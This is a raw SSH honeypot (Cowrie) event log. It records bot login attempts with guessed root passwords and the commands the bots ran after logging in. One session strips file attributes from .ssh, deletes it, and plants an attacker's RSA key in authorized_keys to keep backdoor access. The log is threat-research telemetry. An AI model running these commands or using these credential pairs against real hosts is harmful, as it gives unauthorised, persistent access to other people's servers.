{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:34.351027Z","src_ip":"2.57.122.96","session":"86335f7e0134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"admin","message":"login attempt [solana/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:34.736773Z","src_ip":"2.57.122.96","session":"86335f7e0134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:35.840642Z","src_ip":"2.57.122.96","session":"86335f7e0134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55760,"dst_ip":"159.203.135.109","dst_port":22,"session":"85bd23d647f2","protocol":"ssh","message":"New connection: 193.32.162.145:55760 (159.203.135.109:22) [session: 85bd23d647f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:36.728162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:36.838494Z","src_ip":"193.32.162.145","session":"85bd23d647f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:36.842164Z","src_ip":"193.32.162.145","session":"85bd23d647f2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"iproyal","message":"login attempt [root/iproyal] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:37.250957Z","src_ip":"193.32.162.145","session":"85bd23d647f2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:37.500932Z","src_ip":"193.32.162.145","session":"85bd23d647f2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:37.504076Z","src_ip":"193.32.162.145","session":"85bd23d647f2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:37.607807Z","src_ip":"193.32.162.145","session":"85bd23d647f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:29:37.612555Z","src_ip":"193.32.162.145","session":"85bd23d647f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":35412,"dst_ip":"159.203.135.109","dst_port":22,"session":"18a0d4a0ddfa","protocol":"ssh","message":"New connection: 154.221.28.214:35412 (159.203.135.109:22) [session: 18a0d4a0ddfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:38.688062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:38.693203Z","src_ip":"154.221.28.214","session":"18a0d4a0ddfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:38.895952Z","src_ip":"154.221.28.214","session":"18a0d4a0ddfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"robin","password":"robinpass","message":"login attempt [robin/robinpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:39.736711Z","src_ip":"154.221.28.214","session":"18a0d4a0ddfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:40.941954Z","src_ip":"154.221.28.214","session":"18a0d4a0ddfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":58878,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d485ea4c528","protocol":"ssh","message":"New connection: 162.120.6.20:58878 (10.17.0.5:22) [session: 3d485ea4c528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:41.159529Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:41.232338Z","src_ip":"162.120.6.20","session":"3d485ea4c528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":58890,"dst_ip":"10.17.0.5","dst_port":22,"session":"d99bc2d9679f","protocol":"ssh","message":"New connection: 162.120.6.20:58890 (10.17.0.5:22) [session: d99bc2d9679f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:41.293943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:41.300306Z","src_ip":"162.120.6.20","session":"d99bc2d9679f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:41.367857Z","src_ip":"162.120.6.20","session":"d99bc2d9679f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Root@12345678","message":"login attempt [root/Root@12345678] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:41.569912Z","src_ip":"162.120.6.20","session":"d99bc2d9679f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:41.822415Z","src_ip":"162.120.6.20","session":"d99bc2d9679f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:41.825500Z","src_ip":"162.120.6.20","session":"d99bc2d9679f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:41.895649Z","src_ip":"162.120.6.20","session":"d99bc2d9679f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:41.900476Z","src_ip":"162.120.6.20","session":"d99bc2d9679f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":38286,"dst_ip":"159.203.135.109","dst_port":22,"session":"76659460850e","protocol":"ssh","message":"New connection: 160.191.244.236:38286 (159.203.135.109:22) [session: 76659460850e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:46.671220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:46.675310Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:46.907574Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"^YHN7ujm","message":"login attempt [root/^YHN7ujm] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:47.866343Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:48.370854Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:48.374705Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:48.379112Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:48.614608Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:49.109817Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:49.112440Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:49.368997Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:49.372951Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":39208,"dst_ip":"159.203.135.109","dst_port":22,"session":"e24c160c8c23","protocol":"ssh","message":"New connection: 160.191.244.236:39208 (159.203.135.109:22) [session: e24c160c8c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:49.600532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:49.605826Z","src_ip":"160.191.244.236","session":"e24c160c8c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:49.840246Z","src_ip":"160.191.244.236","session":"e24c160c8c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:50.774053Z","src_ip":"160.191.244.236","session":"e24c160c8c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:52.012549Z","src_ip":"160.191.244.236","session":"e24c160c8c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":40012,"dst_ip":"159.203.135.109","dst_port":22,"session":"a77a03b29002","protocol":"ssh","message":"New connection: 160.191.244.236:40012 (159.203.135.109:22) [session: a77a03b29002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:52.236238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:52.240617Z","src_ip":"160.191.244.236","session":"a77a03b29002","protocol":"ssh"}
